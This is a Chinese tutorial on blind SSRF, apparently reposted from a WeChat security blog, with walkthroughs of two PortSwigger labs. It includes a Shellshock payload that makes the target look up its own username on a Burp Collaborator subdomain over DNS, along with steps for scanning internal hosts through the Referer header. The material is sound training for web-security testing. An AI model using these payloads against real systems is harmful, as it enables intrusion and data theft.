在本节中,将解释什么是盲SSRF,描述一些常见的盲SSRF示例,并演示如何查找和利用盲SSRF漏洞。
什么是盲SSRF?
当可以诱导应用程序向提供的URL发出后端HTTP请求,但后端请求的响应未在应用程序前端响应中返回时,就会出现盲SSRF漏洞。
盲SSRF漏洞的影响是什么?
盲SSRF漏洞的影响通过长低于完全知情的SSRF漏洞,因为它们具有单向性。不能轻易利用它们从后端系统检索敏感数据,尽管在某些情况下可以利用它们来实现完整的远程代码执行。
如何发现和利用盲SSRF漏洞?
检测盲SSRF漏洞最可靠的方法是使用带外(OAST)技术,这涉及尝试向我们控制的外部系统触发HTTP请求,并监视与该系统的网络交互。
在测试SSRF漏洞时,通常会观察到对控制的外部系统域的DNS查找,但是没有后续的HTTP请求。这通常是因为应用程序试图向域发出HTTP请求,这导致了初始DNS查找,但实际的HTTP请求在网络层面被过滤掉了。基础设施允许出站DNS流量是相对常见的,因为有很多目的都需要这样做,但会阻止与意外目的地的HTTP连接。
简单地识别可以触发带外HTTP请求的盲SSRF漏洞本身并不能提供可利用的途径。由于无法查看来自后端请求的响应,因此无法使用该行为来探索应用程序服务器可以访问的系统内容。
但是,仍然可以利用它来探测服务器本身或后端系统上的其他漏洞,我们可以盲扫描内部IP地址空间,发送旨在检测已知漏洞的有效负载。如果这些有效负载还采用了盲带外技术,那么可能会在未打补丁的内部服务器上发现严重漏洞。
另一种利用盲SSRF漏洞的途径是诱使应用程序连接到攻击者控制的系统,并向建立连接的HTTP客户端返回恶意响应。如果可以利用服务器HTTP实现中的严重客户端漏洞,可能能够在应用程序基础架构中实现远程代码执行。
场景试验-带外检测的盲SSRF:
https://portswigger.net/web-security/ssrf/blind/lab-out-of-band-detection
场景说明:
这个试验场景使用分析软件,该软件在加载产品页面时获取Referer标头中指定的URL。
试验目的:
要完成这个试验,需要使用此功能向公共Burp Collaborator服务器发出HTTP请求。
攻击过程:
①打开页面后访问个产品,把这个请求发送给Repeater。
②在Burp主菜单中打开Burp Collaborator Client并复制地址到粘贴板
③在Repeater中替换那个请求的Referer后面的地址,发送请求完成试验,可以在Burp Collaborator Client看到外连过来的DNS请求
场景试验-使用Shellshock开发的盲SSRF:
https://portswigger.net/web-security/ssrf/blind/lab-shellshock-exploitation
场景说明:
这个试验场景使用分析软件,该软件在加载产品页面时获取Referer标头中指定的URL。
试验目的:
要完成这个试验,需要使用此功能对192.168.0.X范围内的内部服务器的8080端口执行盲SSRF攻击,在盲攻击中,对内部服务器使用Shellshock漏洞以泄露操作系统的主机名。
攻击过程:
①在Burp的BApp Store中安装"Collaborator Everywhere",这个工具是SSRF扫描器,当我们访问站点时会在可能发生的SSRF的地方都写入payload,如果存在漏洞,那么就会检测到,相当于协助我们自动发现SSRF注入点
②这个插件的使用方法也很简单,会自动监控加入"Scope"中的站点,我们访问下试验场景的网站,然后在"Site map"这里把它添加进去
③浏览下首页,并未发现任何SSRF的注入点,接下来打开一件商品,可以看到在右侧信息栏中有爆出SSRF的注入点,在Referer和User-Agent两个地方都有
④在找到注入点后,把具有注入点浏览商品的这个请求发送给Repeater,同时打开Burp Collaborator Client复制下地址
⑤试验一开始就提示了,利用Shellshock来泄露主机名,因此我们就利用User-Agent来进行ShellShock的注入暴主机名并通过带外技术把信息反馈出来,利用Referer的SSRF漏洞来进行内部主机的指令传递。ShellShock的构造语句如下:
() { :; };/usr/bin/nslookup $(whoami).BURP-COLLABORATOR-SUBDOMAIN
⑥攻击完成后,在Burp Collaborator Client中"Poll"一下结果,把盗取到的主机名提交即可完成试验
试验小结:
这个试验一开始利用了自动化攻击的扩展工具,可以更方便的寻找到SSRF的注入点,在找到注入点后,需要根据注入点可利用的不同特点来进行注入语句和方式的使用。
Note:
Shellshock(CVE-2014-6271)
Bash 4.3以及之前的版本在处理某些特殊构造的环境变量时存在安全漏洞,向函数环境变量值后添加多余的字符串会触发此漏洞,攻击者可利用此漏洞改变或绕过环境限制,以执行任意的shell命令,甚至完全控制目标系统
受到该漏洞影响的bash使用的环境变量是通过函数名称来调用的,以“(){”开头通过环境变量来定义的。而bash在处理这样的“函数环境变量”的时候,并没有以函数结尾“}”为结束,而是一直执行其后的shell命令
比如下面先定义了个特殊构造的“函数环境变量”(正确定义函数变量应该是foo='(){函数代码};'),然后执行bash后就会自动执行foo环境变量函数后面那块
SQL注入攻击-检索隐藏的数据
HTTP高级请求走私-响应队列中毒
HTTP Host头漏洞攻击-概念梳理
原文始发于微信公众号(H君网安白话):服务器端请求伪造(SSRF)-盲SSRF漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论